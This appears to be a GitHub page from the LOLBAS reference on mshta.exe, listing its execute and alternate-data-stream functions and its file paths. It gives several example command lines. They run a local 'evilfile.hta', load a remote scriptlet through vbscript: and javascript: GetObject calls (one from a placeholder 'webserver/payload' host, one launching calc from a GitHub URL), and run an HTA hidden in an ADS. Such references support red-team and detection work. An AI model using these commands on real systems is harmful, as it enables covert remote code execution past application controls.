Skip to content

Latest commit

 

History

History
37 lines (26 loc) · 1.15 KB

Mshta.md

File metadata and controls

37 lines (26 loc) · 1.15 KB

mshta.exe

  • Functions: Execute, Read ADS
mshta.exe evilfile.hta    

mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))    

mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();     
    
mshta "C:\ads\file.txt:file.hta"

Acknowledgements:

  • Casey Smith - @subtee
  • Oddvar Moe - @oddvarmoe

Code sample:

Resources:

Full path:

C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe

Notes: SCT code borrowed from Red Canary - Atomic Red Team